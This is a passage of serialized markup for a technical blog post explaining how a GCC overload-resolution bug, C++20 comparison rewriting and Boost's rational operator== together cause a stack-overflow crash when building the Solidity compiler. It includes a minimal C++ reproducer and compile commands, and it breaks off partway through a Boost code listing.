}\n",[90109],{"type":23,"tag":209,"props":90110,"children":90111},{"__ignoreMap":7},[90112],{"type":23,"tag":213,"props":90113,"children":90114},{"class":215,"line":216},[90115,90119,90123,90127,90132,90136,90140],{"type":23,"tag":213,"props":90116,"children":90117},{"style":1362},[90118],{"type":28,"value":15637},{"type":23,"tag":213,"props":90120,"children":90121},{"style":220},[90122],{"type":28,"value":400},{"type":23,"tag":213,"props":90124,"children":90125},{"style":274},[90126],{"type":28,"value":1696},{"type":23,"tag":213,"props":90128,"children":90129},{"style":220},[90130],{"type":28,"value":90131},"lengthValue ",{"type":23,"tag":213,"props":90133,"children":90134},{"style":274},[90135],{"type":28,"value":8660},{"type":23,"tag":213,"props":90137,"children":90138},{"style":514},[90139],{"type":28,"value":517},{"type":23,"tag":213,"props":90141,"children":90142},{"style":220},[90143],{"type":28,"value":90144},") { ... }\n",{"type":23,"tag":24,"props":90146,"children":90147},{},[90148,90150,90156],{"type":28,"value":90149},"That single comparison — a ",{"type":23,"tag":209,"props":90151,"children":90153},{"className":90152},[],[90154],{"type":28,"value":90155},"boost::rational",{"type":28,"value":90157}," compared to 0 — causes infinite recursion in G++ \u003C 14 when compiled under C++20. And the resulting stack overflow crashes solc.",{"type":23,"tag":24,"props":90159,"children":90160},{},[90161],{"type":28,"value":90162},"This post unpacks how this happened — and why none of the individual components are technically \"broken\":",{"type":23,"tag":168,"props":90164,"children":90165},{},[90166,90171,90176],{"type":23,"tag":135,"props":90167,"children":90168},{},[90169],{"type":28,"value":90170},"A 12-year-old overload resolution bug in G++",{"type":23,"tag":135,"props":90172,"children":90173},{},[90174],{"type":28,"value":90175},"An outdated symmetric comparison pattern in Boost",{"type":23,"tag":135,"props":90177,"children":90178},{},[90179],{"type":28,"value":90180},"A subtle but impactful rewrite rule in C++20",{"type":23,"tag":24,"props":90182,"children":90183},{},[90184],{"type":28,"value":90185},"Put together, they form a perfect storm — one that takes down Solidity compilation on default Linux setups, even though your code is perfectly fine.",{"type":23,"tag":18845,"props":90187,"children":90188},{},[],{"type":23,"tag":47,"props":90190,"children":90192},{"id":90191},"background-the-setup",[90193],{"type":28,"value":90194},"Background: The Setup",{"type":23,"tag":24,"props":90196,"children":90197},{},[90198,90200,90207],{"type":28,"value":90199},"If you follow the ",{"type":23,"tag":36,"props":90201,"children":90204},{"href":90202,"rel":90203},"https://docs.soliditylang.org/en/v0.8.30/installing-solidity.html#building-from-source",[40],[90205],{"type":28,"value":90206},"Solidity build documentation (v0.8.30)",{"type":28,"value":90208},", you'll see it recommends:",{"type":23,"tag":168,"props":90210,"children":90211},{},[90212,90217],{"type":23,"tag":135,"props":90213,"children":90214},{},[90215],{"type":28,"value":90216},"Boost ≥ 1.67",{"type":23,"tag":135,"props":90218,"children":90219},{},[90220],{"type":28,"value":90221},"GCC ≥ 11",{"type":23,"tag":24,"props":90223,"children":90224},{},[90225],{"type":28,"value":90226},"Ubuntu 22.04, for example, ships with:",{"type":23,"tag":168,"props":90228,"children":90229},{},[90230,90235],{"type":23,"tag":135,"props":90231,"children":90232},{},[90233],{"type":28,"value":90234},"G++ 11.4.0",{"type":23,"tag":135,"props":90236,"children":90237},{},[90238],{"type":28,"value":90239},"Boost 1.74.0",{"type":23,"tag":24,"props":90241,"children":90242},{},[90243],{"type":28,"value":90244},"So far, so good.",{"type":23,"tag":24,"props":90246,"children":90247},{},[90248,90250,90255],{"type":28,"value":90249},"However, Solidity enabled ",{"type":23,"tag":95,"props":90251,"children":90252},{},[90253],{"type":28,"value":90254},"C++20",{"type":28,"value":90256}," in January 2025:",{"type":23,"tag":3036,"props":90258,"children":90259},{},[90260],{"type":23,"tag":24,"props":90261,"children":90262},{},[90263],{"type":23,"tag":36,"props":90264,"children":90267},{"href":90265,"rel":90266},"https://github.com/ethereum/solidity/commit/233a5081835a04939ccf85dfb5286c0b53d23c66",[40],[90268],{"type":28,"value":90269},"Enable C++20 in Solidity",{"type":23,"tag":24,"props":90271,"children":90272},{},[90273],{"type":28,"value":90274},"This wasn't accompanied by an update to the versions of dependencies in the documentation. As we'll soon see, that's what opened the trapdoor.",{"type":23,"tag":18845,"props":90276,"children":90277},{},[],{"type":23,"tag":47,"props":90279,"children":90281},{"id":90280},"part-i-a-12-year-old-g-bug-in-overload-resolution",[90282],{"type":28,"value":90283},"Part I: A 12-Year-Old G++ Bug in Overload Resolution",{"type":23,"tag":9693,"props":90285,"children":90287},{"id":90286},"whats-overload-resolution",[90288],{"type":28,"value":90289},"What’s Overload Resolution?",{"type":23,"tag":24,"props":90291,"children":90292},{},[90293,90295,90301,90303,90309,90311,90316,90318,90323,90325,90331,90333,90338,90339,90345],{"type":28,"value":90294},"In C++, when you write an expression like ",{"type":23,"tag":209,"props":90296,"children":90298},{"className":90297},[],[90299],{"type":28,"value":90300},"a == b",{"type":28,"value":90302},", the compiler chooses among available ",{"type":23,"tag":209,"props":90304,"children":90306},{"className":90305},[],[90307],{"type":28,"value":90308},"operator==",{"type":28,"value":90310}," implementations by comparing their ",{"type":23,"tag":95,"props":90312,"children":90313},{},[90314],{"type":28,"value":90315},"match quality",{"type":28,"value":90317},". A ",{"type":23,"tag":95,"props":90319,"children":90320},{},[90321],{"type":28,"value":90322},"member function",{"type":28,"value":90324}," like ",{"type":23,"tag":209,"props":90326,"children":90328},{"className":90327},[],[90329],{"type":28,"value":90330},"a.operator==(b)",{"type":28,"value":90332}," usually has higher priority than a ",{"type":23,"tag":95,"props":90334,"children":90335},{},[90336],{"type":28,"value":90337},"non-member function",{"type":28,"value":90324},{"type":23,"tag":209,"props":90340,"children":90342},{"className":90341},[],[90343],{"type":28,"value":90344},"operator==(a, b)",{"type":28,"value":90346}," — unless the types differ too much or are ambiguous.",{"type":23,"tag":24,"props":90348,"children":90349},{},[90350],{"type":28,"value":90351},"That’s the rule. But G++ didn’t always follow it.",{"type":23,"tag":9693,"props":90353,"children":90355},{"id":90354},"the-bug",[90356],{"type":28,"value":90357},"The Bug",{"type":23,"tag":24,"props":90359,"children":90360},{},[90361,90363,90370],{"type":28,"value":90362},"In 2012, a bug was filed: ",{"type":23,"tag":36,"props":90364,"children":90367},{"href":90365,"rel":90366},"https://gcc.gnu.org/bugzilla/show_bug.cgi?id=53499",[40],[90368],{"type":28,"value":90369},"GCC Bug 53499 – overload resolution favors non-member function",{"type":28,"value":90371},". The issue? In expressions where:",{"type":23,"tag":168,"props":90373,"children":90374},{},[90375,90395],{"type":23,"tag":135,"props":90376,"children":90377},{},[90378,90380,90386,90388,90393],{"type":28,"value":90379},"A class ",{"type":23,"tag":209,"props":90381,"children":90383},{"className":90382},[],[90384],{"type":28,"value":90385},"rational\u003CT>",{"type":28,"value":90387}," has a templated ",{"type":23,"tag":209,"props":90389,"children":90391},{"className":90390},[],[90392],{"type":28,"value":90308},{"type":28,"value":90394}," member function",{"type":23,"tag":135,"props":90396,"children":90397},{},[90398,90400,90406],{"type":28,"value":90399},"There's also a more generic free ",{"type":23,"tag":209,"props":90401,"children":90403},{"className":90402},[],[90404],{"type":28,"value":90405},"operator==(rational\u003CT>, U)",{"type":28,"value":38271},{"type":23,"tag":24,"props":90408,"children":90409},{},[90410],{"type":23,"tag":95,"props":90411,"children":90412},{},[90413],{"type":28,"value":90414},"Clang correctly chooses the member function.",{"type":23,"tag":24,"props":90416,"children":90417},{},[90418],{"type":23,"tag":95,"props":90419,"children":90420},{},[90421],{"type":28,"value":90422},"G++ (before v14) chooses the non-member function.",{"type":23,"tag":24,"props":90424,"children":90425},{},[90426,90428,90433,90435,90442],{"type":28,"value":90427},"Why? Because G++ mishandles ",{"type":23,"tag":95,"props":90429,"children":90430},{},[90431],{"type":28,"value":90432},"templated conversion + non-exact match",{"type":28,"value":90434},", overvaluing a non-member function with worse match quality. It does not correctly apply the overload resolution ranking rules defined in ",{"type":23,"tag":36,"props":90436,"children":90439},{"href":90437,"rel":90438},"https://cplusplus.github.io/CWG/issues/532.html",[40],[90440],{"type":28,"value":90441},"CWG532: Member/nonmember operator template partial ordering",{"type":28,"value":124},{"type":23,"tag":9693,"props":90444,"children":90446},{"id":90445},"a-minimal-reproducer",[90447],{"type":28,"value":90448},"A Minimal Reproducer",{"type":23,"tag":24,"props":90450,"children":90451},{},[90452],{"type":28,"value":90453},"Let’s see this in action:",{"type":23,"tag":202,"props":90455,"children":90457},{"code":90456,"language":29169,"meta":7,"className":29167,"style":7},"#include \u003Ciostream>\n\ntemplate \u003Ctypename IntType>\nclass rational {\npublic:\n template \u003Cclass T>\n bool operator==(const T& i) const {\n std::cout \u003C\u003C \"clang++ resolved member\" \u003C\u003C std::endl;\n return true;\n }\n};\n\ntemplate \u003Cclass Arg, class IntType>\nbool operator==(const rational\u003CIntType>& a, const Arg& b) {\n std::cout \u003C\u003C \"g++ \u003C14 resolved non-member\" \u003C\u003C std::endl;\n return false;\n}\n\nint main() {\n rational\u003Cint> r;\n return r == 0;\n}\n",[90458],{"type":23,"tag":209,"props":90459,"children":90460},{"__ignoreMap":7},[90461,90474,90481,90506,90522,90530,90554,90599,90627,90642,90649,90656,90663,90699,90768,90793,90808,90815,90822,90838,90863,90887],{"type":23,"tag":213,"props":90462,"children":90463},{"class":215,"line":216},[90464,90469],{"type":23,"tag":213,"props":90465,"children":90466},{"style":1362},[90467],{"type":28,"value":90468},"#include",{"type":23,"tag":213,"props":90470,"children":90471},{"style":246},[90472],{"type":28,"value":90473}," \u003Ciostream>\n",{"type":23,"tag":213,"props":90475,"children":90476},{"class":215,"line":226},[90477],{"type":23,"tag":213,"props":90478,"children":90479},{"emptyLinePlaceholder":18},[90480],{"type":28,"value":530},{"type":23,"tag":213,"props":90482,"children":90483},{"class":215,"line":524},[90484,90488,90492,90497,90502],{"type":23,"tag":213,"props":90485,"children":90486},{"style":230},[90487],{"type":28,"value":66270},{"type":23,"tag":213,"props":90489,"children":90490},{"style":220},[90491],{"type":28,"value":8804},{"type":23,"tag":213,"props":90493,"children":90494},{"style":230},[90495],{"type":28,"value":90496},"typename",{"type":23,"tag":213,"props":90498,"children":90499},{"style":290},[90500],{"type":28,"value":90501}," IntType",{"type":23,"tag":213,"props":90503,"children":90504},{"style":220},[90505],{"type":28,"value":6084},{"type":23,"tag":213,"props":90507,"children":90508},{"class":215,"line":533},[90509,90513,90518],{"type":23,"tag":213,"props":90510,"children":90511},{"style":230},[90512],{"type":28,"value":70463},{"type":23,"tag":213,"props":90514,"children":90515},{"style":290},[90516],{"type":28,"value":90517}," rational",{"type":23,"tag":213,"props":90519,"children":90520},{"style":220},[90521],{"type":28,"value":1375},{"type":23,"tag":213,"props":90523,"children":90524},{"class":215,"line":543},[90525],{"type":23,"tag":213,"props":90526,"children":90527},{"style":230},[90528],{"type":28,"value":90529},"public:\n",{"type":23,"tag":213,"props":90531,"children":90532},{"class":215,"line":551},[90533,90538,90542,90546,90550],{"type":23,"tag":213,"props":90534,"children":90535},{"style":230},[90536],{"type":28,"value":90537}," template",{"type":23,"tag":213,"props":90539,"children":90540},{"style":220},[90541],{"type":28,"value":8804},{"type":23,"tag":213,"props":90543,"children":90544},{"style":230},[90545],{"type":28,"value":70463},{"type":23,"tag":213,"props":90547,"children":90548},{"style":290},[90549],{"type":28,"value":6011},{"type":23,"tag":213,"props":90551,"children":90552},{"style":220},[90553],{"type":28,"value":6084},{"type":23,"tag":213,"props":90555,"children":90556},{"class":215,"line":570},[90557,90561,90566,90571,90575,90579,90583,90587,90591,90595],{"type":23,"tag":213,"props":90558,"children":90559},{"style":230},[90560],{"type":28,"value":46524},{"type":23,"tag":213,"props":90562,"children":90563},{"style":230},[90564],{"type":28,"value":90565}," operator",{"type":23,"tag":213,"props":90567,"children":90568},{"style":220},[90569],{"type":28,"value":90570},"==(",{"type":23,"tag":213,"props":90572,"children":90573},{"style":230},[90574],{"type":28,"value":632},{"type":23,"tag":213,"props":90576,"children":90577},{"style":290},[90578],{"type":28,"value":6011},{"type":23,"tag":213,"props":90580,"children":90581},{"style":230},[90582],{"type":28,"value":405},{"type":23,"tag":213,"props":90584,"children":90585},{"style":268},[90586],{"type":28,"value":3494},{"type":23,"tag":213,"props":90588,"children":90589},{"style":220},[90590],{"type":28,"value":298},{"type":23,"tag":213,"props":90592,"children":90593},{"style":230},[90594],{"type":28,"value":632},{"type":23,"tag":213,"props":90596,"children":90597},{"style":220},[90598],{"type":28,"value":1375},{"type":23,"tag":213,"props":90600,"children":90601},{"class":215,"line":655},[90602,90607,90612,90617,90622],{"type":23,"tag":213,"props":90603,"children":90604},{"style":220},[90605],{"type":28,"value":90606}," std::cout ",{"type":23,"tag":213,"props":90608,"children":90609},{"style":274},[90610],{"type":28,"value":90611},"\u003C\u003C",{"type":23,"tag":213,"props":90613,"children":90614},{"style":246},[90615],{"type":28,"value":90616}," \"clang++ resolved member\"",{"type":23,"tag":213,"props":90618,"children":90619},{"style":274},[90620],{"type":28,"value":90621}," \u003C\u003C",{"type":23,"tag":213,"props":90623,"children":90624},{"style":220},[90625],{"type":28,"value":90626}," std::endl;\n",{"type":23,"tag":213,"props":90628,"children":90629},{"class":215,"line":1176},[90630,90634,90638],{"type":23,"tag":213,"props":90631,"children":90632},{"style":1362},[90633],{"type":28,"value":2839},{"type":23,"tag":213,"props":90635,"children":90636},{"style":230},[90637],{"type":28,"value":12551},{"type":23,"tag":213,"props":90639,"children":90640},{"style":220},[90641],{"type":28,"value":313},{"type":23,"tag":213,"props":90643,"children":90644},{"class":215,"line":1202},[90645],{"type":23,"tag":213,"props":90646,"children":90647},{"style":220},[90648],{"type":28,"value":2875},{"type":23,"tag":213,"props":90650,"children":90651},{"class":215,"line":1758},[90652],{"type":23,"tag":213,"props":90653,"children":90654},{"style":220},[90655],{"type":28,"value":16629},{"type":23,"tag":213,"props":90657,"children":90658},{"class":215,"line":1767},[90659],{"type":23,"tag":213,"props":90660,"children":90661},{"emptyLinePlaceholder":18},[90662],{"type":28,"value":530},{"type":23,"tag":213,"props":90664,"children":90665},{"class":215,"line":1789},[90666,90670,90674,90678,90683,90687,90691,90695],{"type":23,"tag":213,"props":90667,"children":90668},{"style":230},[90669],{"type":28,"value":66270},{"type":23,"tag":213,"props":90671,"children":90672},{"style":220},[90673],{"type":28,"value":8804},{"type":23,"tag":213,"props":90675,"children":90676},{"style":230},[90677],{"type":28,"value":70463},{"type":23,"tag":213,"props":90679,"children":90680},{"style":290},[90681],{"type":28,"value":90682}," Arg",{"type":23,"tag":213,"props":90684,"children":90685},{"style":220},[90686],{"type":28,"value":424},{"type":23,"tag":213,"props":90688,"children":90689},{"style":230},[90690],{"type":28,"value":70463},{"type":23,"tag":213,"props":90692,"children":90693},{"style":290},[90694],{"type":28,"value":90501},{"type":23,"tag":213,"props":90696,"children":90697},{"style":220},[90698],{"type":28,"value":6084},{"type":23,"tag":213,"props":90700,"children":90701},{"class":215,"line":1812},[90702,90706,90710,90714,90718,90722,90726,90731,90735,90739,90743,90747,90751,90755,90759,90764],{"type":23,"tag":213,"props":90703,"children":90704},{"style":230},[90705],{"type":28,"value":29741},{"type":23,"tag":213,"props":90707,"children":90708},{"style":230},[90709],{"type":28,"value":90565},{"type":23,"tag":213,"props":90711,"children":90712},{"style":220},[90713],{"type":28,"value":90570},{"type":23,"tag":213,"props":90715,"children":90716},{"style":230},[90717],{"type":28,"value":632},{"type":23,"tag":213,"props":90719,"children":90720},{"style":290},[90721],{"type":28,"value":90517},{"type":23,"tag":213,"props":90723,"children":90724},{"style":220},[90725],{"type":28,"value":434},{"type":23,"tag":213,"props":90727,"children":90728},{"style":290},[90729],{"type":28,"value":90730},"IntType",{"type":23,"tag":213,"props":90732,"children":90733},{"style":220},[90734],{"type":28,"value":10545},{"type":23,"tag":213,"props":90736,"children":90737},{"style":230},[90738],{"type":28,"value":405},{"type":23,"tag":213,"props":90740,"children":90741},{"style":268},[90742],{"type":28,"value":89889},{"type":23,"tag":213,"props":90744,"children":90745},{"style":220},[90746],{"type":28,"value":424},{"type":23,"tag":213,"props":90748,"children":90749},{"style":230},[90750],{"type":28,"value":632},{"type":23,"tag":213,"props":90752,"children":90753},{"style":290},[90754],{"type":28,"value":90682},{"type":23,"tag":213,"props":90756,"children":90757},{"style":230},[90758],{"type":28,"value":405},{"type":23,"tag":213,"props":90760,"children":90761},{"style":268},[90762],{"type":28,"value":90763}," b",{"type":23,"tag":213,"props":90765,"children":90766},{"style":220},[90767],{"type":28,"value":14870},{"type":23,"tag":213,"props":90769,"children":90770},{"class":215,"line":1838},[90771,90776,90780,90785,90789],{"type":23,"tag":213,"props":90772,"children":90773},{"style":220},[90774],{"type":28,"value":90775}," std::cout ",{"type":23,"tag":213,"props":90777,"children":90778},{"style":274},[90779],{"type":28,"value":90611},{"type":23,"tag":213,"props":90781,"children":90782},{"style":246},[90783],{"type":28,"value":90784}," \"g++ \u003C14 resolved non-member\"",{"type":23,"tag":213,"props":90786,"children":90787},{"style":274},[90788],{"type":28,"value":90621},{"type":23,"tag":213,"props":90790,"children":90791},{"style":220},[90792],{"type":28,"value":90626},{"type":23,"tag":213,"props":90794,"children":90795},{"class":215,"line":1851},[90796,90800,90804],{"type":23,"tag":213,"props":90797,"children":90798},{"style":1362},[90799],{"type":28,"value":17040},{"type":23,"tag":213,"props":90801,"children":90802},{"style":230},[90803],{"type":28,"value":9143},{"type":23,"tag":213,"props":90805,"children":90806},{"style":220},[90807],{"type":28,"value":313},{"type":23,"tag":213,"props":90809,"children":90810},{"class":215,"line":1864},[90811],{"type":23,"tag":213,"props":90812,"children":90813},{"style":220},[90814],{"type":28,"value":1208},{"type":23,"tag":213,"props":90816,"children":90817},{"class":215,"line":1890},[90818],{"type":23,"tag":213,"props":90819,"children":90820},{"emptyLinePlaceholder":18},[90821],{"type":28,"value":530},{"type":23,"tag":213,"props":90823,"children":90824},{"class":215,"line":1899},[90825,90829,90834],{"type":23,"tag":213,"props":90826,"children":90827},{"style":230},[90828],{"type":28,"value":19100},{"type":23,"tag":213,"props":90830,"children":90831},{"style":257},[90832],{"type":28,"value":90833}," main",{"type":23,"tag":213,"props":90835,"children":90836},{"style":220},[90837],{"type":28,"value":15791},{"type":23,"tag":213,"props":90839,"children":90840},{"class":215,"line":1912},[90841,90846,90850,90854,90858],{"type":23,"tag":213,"props":90842,"children":90843},{"style":220},[90844],{"type":28,"value":90845}," rational",{"type":23,"tag":213,"props":90847,"children":90848},{"style":274},[90849],{"type":28,"value":434},{"type":23,"tag":213,"props":90851,"children":90852},{"style":230},[90853],{"type":28,"value":19100},{"type":23,"tag":213,"props":90855,"children":90856},{"style":274},[90857],{"type":28,"value":10545},{"type":23,"tag":213,"props":90859,"children":90860},{"style":220},[90861],{"type":28,"value":90862}," r;\n",{"type":23,"tag":213,"props":90864,"children":90865},{"class":215,"line":1921},[90866,90870,90875,90879,90883],{"type":23,"tag":213,"props":90867,"children":90868},{"style":1362},[90869],{"type":28,"value":17040},{"type":23,"tag":213,"props":90871,"children":90872},{"style":220},[90873],{"type":28,"value":90874}," r ",{"type":23,"tag":213,"props":90876,"children":90877},{"style":274},[90878],{"type":28,"value":8660},{"type":23,"tag":213,"props":90880,"children":90881},{"style":514},[90882],{"type":28,"value":517},{"type":23,"tag":213,"props":90884,"children":90885},{"style":220},[90886],{"type":28,"value":313},{"type":23,"tag":213,"props":90888,"children":90889},{"class":215,"line":3879},[90890],{"type":23,"tag":213,"props":90891,"children":90892},{"style":220},[90893],{"type":28,"value":1208},{"type":23,"tag":168,"props":90895,"children":90896},{},[90897],{"type":23,"tag":135,"props":90898,"children":90899},{},[90900],{"type":28,"value":90901},"Compile with g++\u003C14:",{"type":23,"tag":202,"props":90903,"children":90905},{"code":90904,"language":4338,"meta":7,"className":4339,"style":7},"g++ -std=c++17 main.cpp -o test && ./test\n",[90906],{"type":23,"tag":209,"props":90907,"children":90908},{"__ignoreMap":7},[90909],{"type":23,"tag":213,"props":90910,"children":90911},{"class":215,"line":216},[90912,90917,90922,90927,90932,90936,90941],{"type":23,"tag":213,"props":90913,"children":90914},{"style":257},[90915],{"type":28,"value":90916},"g++",{"type":23,"tag":213,"props":90918,"children":90919},{"style":246},[90920],{"type":28,"value":90921}," -std=c++17",{"type":23,"tag":213,"props":90923,"children":90924},{"style":246},[90925],{"type":28,"value":90926}," main.cpp",{"type":23,"tag":213,"props":90928,"children":90929},{"style":246},[90930],{"type":28,"value":90931}," -o",{"type":23,"tag":213,"props":90933,"children":90934},{"style":246},[90935],{"type":28,"value":30733},{"type":23,"tag":213,"props":90937,"children":90938},{"style":220},[90939],{"type":28,"value":90940}," && ",{"type":23,"tag":213,"props":90942,"children":90943},{"style":257},[90944],{"type":28,"value":90945},"./test\n",{"type":23,"tag":24,"props":90947,"children":90948},{},[90949],{"type":28,"value":90950},"Output (on g++ 11.4):",{"type":23,"tag":202,"props":90952,"children":90954},{"code":90953},"g++ \u003C14 resolved non-member\n",[90955],{"type":23,"tag":209,"props":90956,"children":90957},{"__ignoreMap":7},[90958],{"type":28,"value":90953},{"type":23,"tag":168,"props":90960,"children":90961},{},[90962],{"type":23,"tag":135,"props":90963,"children":90964},{},[90965],{"type":28,"value":90966},"Compile with clang++:",{"type":23,"tag":202,"props":90968,"children":90970},{"code":90969,"language":4338,"meta":7,"className":4339,"style":7},"clang++ -std=c++17 main.cpp -o test && ./test\n",[90971],{"type":23,"tag":209,"props":90972,"children":90973},{"__ignoreMap":7},[90974],{"type":23,"tag":213,"props":90975,"children":90976},{"class":215,"line":216},[90977,90982,90986,90990,90994,90998,91002],{"type":23,"tag":213,"props":90978,"children":90979},{"style":257},[90980],{"type":28,"value":90981},"clang++",{"type":23,"tag":213,"props":90983,"children":90984},{"style":246},[90985],{"type":28,"value":90921},{"type":23,"tag":213,"props":90987,"children":90988},{"style":246},[90989],{"type":28,"value":90926},{"type":23,"tag":213,"props":90991,"children":90992},{"style":246},[90993],{"type":28,"value":90931},{"type":23,"tag":213,"props":90995,"children":90996},{"style":246},[90997],{"type":28,"value":30733},{"type":23,"tag":213,"props":90999,"children":91000},{"style":220},[91001],{"type":28,"value":90940},{"type":23,"tag":213,"props":91003,"children":91004},{"style":257},[91005],{"type":28,"value":90945},{"type":23,"tag":24,"props":91007,"children":91008},{},[91009],{"type":28,"value":91010},"Output:",{"type":23,"tag":202,"props":91012,"children":91014},{"code":91013},"clang++ resolved member\n",[91015],{"type":23,"tag":209,"props":91016,"children":91017},{"__ignoreMap":7},[91018],{"type":28,"value":91013},{"type":23,"tag":24,"props":91020,"children":91021},{},[91022],{"type":28,"value":91023},"In short, the wrong function gets picked. G++ was broken here until v14.",{"type":23,"tag":18845,"props":91025,"children":91026},{},[],{"type":23,"tag":47,"props":91028,"children":91030},{"id":91029},"part-ii-c20s-symmetric-comparison-feature",[91031],{"type":28,"value":91032},"Part II: C++20’s Symmetric Comparison Feature",{"type":23,"tag":9693,"props":91034,"children":91036},{"id":91035},"what-changed-in-c20",[91037],{"type":28,"value":91038},"What Changed in C++20?",{"type":23,"tag":24,"props":91040,"children":91041},{},[91042,91044,91057,91058,91063],{"type":28,"value":91043},"C++20 introduced the ",{"type":23,"tag":36,"props":91045,"children":91048},{"href":91046,"rel":91047},"https://en.cppreference.com/w/cpp/language/operator_comparison",[40],[91049,91051],{"type":28,"value":91050},"spaceship operator ",{"type":23,"tag":209,"props":91052,"children":91054},{"className":91053},[],[91055],{"type":28,"value":91056},"\u003C=>",{"type":28,"value":1466},{"type":23,"tag":95,"props":91059,"children":91060},{},[91061],{"type":28,"value":91062},"defaulted comparison rewrites",{"type":28,"value":124},{"type":23,"tag":24,"props":91065,"children":91066},{},[91067,91069,91074],{"type":28,"value":91068},"When you define a two-argument ",{"type":23,"tag":209,"props":91070,"children":91072},{"className":91071},[],[91073],{"type":28,"value":90308},{"type":28,"value":91075},", C++20 may implicitly define the \"reversed\" version:",{"type":23,"tag":168,"props":91077,"children":91078},{},[91079,91090],{"type":23,"tag":135,"props":91080,"children":91081},{},[91082,91084],{"type":28,"value":91083},"If you define: ",{"type":23,"tag":209,"props":91085,"children":91087},{"className":91086},[],[91088],{"type":28,"value":91089},"bool operator==(T1, T2);",{"type":23,"tag":135,"props":91091,"children":91092},{},[91093,91095,91101],{"type":28,"value":91094},"Then ",{"type":23,"tag":209,"props":91096,"children":91098},{"className":91097},[],[91099],{"type":28,"value":91100},"T2 == T1",{"type":28,"value":91102}," may call the same function by reversing the arguments.",{"type":23,"tag":24,"props":91104,"children":91105},{},[91106,91108,91113,91114,91119,91121,91127,91129,91134],{"type":28,"value":91107},"This rewrite is ",{"type":23,"tag":95,"props":91109,"children":91110},{},[91111],{"type":28,"value":91112},"recursive",{"type":28,"value":15390},{"type":23,"tag":209,"props":91115,"children":91117},{"className":91116},[],[91118],{"type":28,"value":90300},{"type":28,"value":91120}," becomes ",{"type":23,"tag":209,"props":91122,"children":91124},{"className":91123},[],[91125],{"type":28,"value":91126},"b == a",{"type":28,"value":91128},", which becomes ",{"type":23,"tag":209,"props":91130,"children":91132},{"className":91131},[],[91133],{"type":28,"value":90300},{"type":28,"value":91135}," again, and so on — if not handled carefully.",{"type":23,"tag":24,"props":91137,"children":91138},{},[91139],{"type":28,"value":91140},"This is great for reducing boilerplate — unless the call becomes ambiguous or self-referential.",{"type":23,"tag":18845,"props":91142,"children":91143},{},[],{"type":23,"tag":47,"props":91145,"children":91147},{"id":91146},"part-iii-the-boost-trapdoor",[91148],{"type":28,"value":91149},"Part III: The Boost Trapdoor",{"type":23,"tag":24,"props":91151,"children":91152},{},[91153,91155,91161,91163,91168],{"type":28,"value":91154},"The old Boost ",{"type":23,"tag":209,"props":91156,"children":91158},{"className":91157},[],[91159],{"type":28,"value":91160},"rational",{"type":28,"value":91162}," class (prior to v1.75) defined both member function and non-member function of ",{"type":23,"tag":209,"props":91164,"children":91166},{"className":91165},[],[91167],{"type":28,"value":90308},{"type":28,"value":277},{"type":23,"tag":202,"props":91170,"children":91172},{"code":91171,"language":29169,"meta":7,"className":29167,"style":7},"template \u003Cclass Arg, class IntType>\ntemplate \u003Ctypename IntType>\nclass rational\n{\n ...\npublic:\n ...\n \n template \u003Cclass T>\n BOOST_CONSTEXPR typename boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003CT, IntType>::value, bool>::type operator== (const T& i) const\n {\n return ((den == IntType(1)) && (num == i));\n }\n ...\n}\n\ntemplate \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n return a == b; \n}\n",[91173],{"type":23,"tag":209,"props":91174,"children":91175},{"__ignoreMap":7},[91176,91211,91234,91246,91253,91260,91267,91274,91281,91304,91392,91399,91450,91457,91464,91471,91478,91513,91521,91549,91588,91653,91660,91680],{"type":23,"tag":213,"props":91177,"children":91178},{"class":215,"line":216},[91179,91183,91187,91191,91195,91199,91203,91207],{"type":23,"tag":213,"props":91180,"children":91181},{"style":230},[91182],{"type":28,"value":66270},{"type":23,"tag":213,"props":91184,"children":91185},{"style":220},[91186],{"type":28,"value":8804},{"type":23,"tag":213,"props":91188,"children":91189},{"style":230},[91190],{"type":28,"value":70463},{"type":23,"tag":213,"props":91192,"children":91193},{"style":290},[91194],{"type":28,"value":90682},{"type":23,"tag":213,"props":91196,"children":91197},{"style":220},[91198],{"type":28,"value":424},{"type":23,"tag":213,"props":91200,"children":91201},{"style":230},[91202],{"type":28,"value":70463},{"type":23,"tag":213,"props":91204,"children":91205},{"style":290},[91206],{"type":28,"value":90501},{"type":23,"tag":213,"props":91208,"children":91209},{"style":220},[91210],{"type":28,"value":6084},{"type":23,"tag":213,"props":91212,"children":91213},{"class":215,"line":226},[91214,91218,91222,91226,91230],{"type":23,"tag":213,"props":91215,"children":91216},{"style":230},[91217],{"type":28,"value":66270},{"type":23,"tag":213,"props":91219,"children":91220},{"style":220},[91221],{"type":28,"value":8804},{"type":23,"tag":213,"props":91223,"children":91224},{"style":230},[91225],{"type":28,"value":90496},{"type":23,"tag":213,"props":91227,"children":91228},{"style":290},[91229],{"type":28,"value":90501},{"type":23,"tag":213,"props":91231,"children":91232},{"style":220},[91233],{"type":28,"value":6084},{"type":23,"tag":213,"props":91235,"children":91236},{"class":215,"line":524},[91237,91241],{"type":23,"tag":213,"props":91238,"children":91239},{"style":230},[91240],{"type":28,"value":70463},{"type":23,"tag":213,"props":91242,"children":91243},{"style":290},[91244],{"type":28,"value":91245}," rational\n",{"type":23,"tag":213,"props":91247,"children":91248},{"class":215,"line":533},[91249],{"type":23,"tag":213,"props":91250,"children":91251},{"style":220},[91252],{"type":28,"value":10964},{"type":23,"tag":213,"props":91254,"children":91255},{"class":215,"line":543},[91256],{"type":23,"tag":213,"props":91257,"children":91258},{"style":220},[91259],{"type":28,"value":2257},{"type":23,"tag":213,"props":91261,"children":91262},{"class":215,"line":551},[91263],{"type":23,"tag":213,"props":91264,"children":91265},{"style":230},[91266],{"type":28,"value":90529},{"type":23,"tag":213,"props":91268,"children":91269},{"class":215,"line":570},[91270],{"type":23,"tag":213,"props":91271,"children":91272},{"style":220},[91273],{"type":28,"value":2257},{"type":23,"tag":213,"props":91275,"children":91276},{"class":215,"line":655},[91277],{"type":23,"tag":213,"props":91278,"children":91279},{"style":220},[91280],{"type":28,"value":61840},{"type":23,"tag":213,"props":91282,"children":91283},{"class":215,"line":1176},[91284,91288,91292,91296,91300],{"type":23,"tag":213,"props":91285,"children":91286},{"style":230},[91287],{"type":28,"value":90537},{"type":23,"tag":213,"props":91289,"children":91290},{"style":220},[91291],{"type":28,"value":8804},{"type":23,"tag":213,"props":91293,"children":91294},{"style":230},[91295],{"type":28,"value":70463},{"type":23,"tag"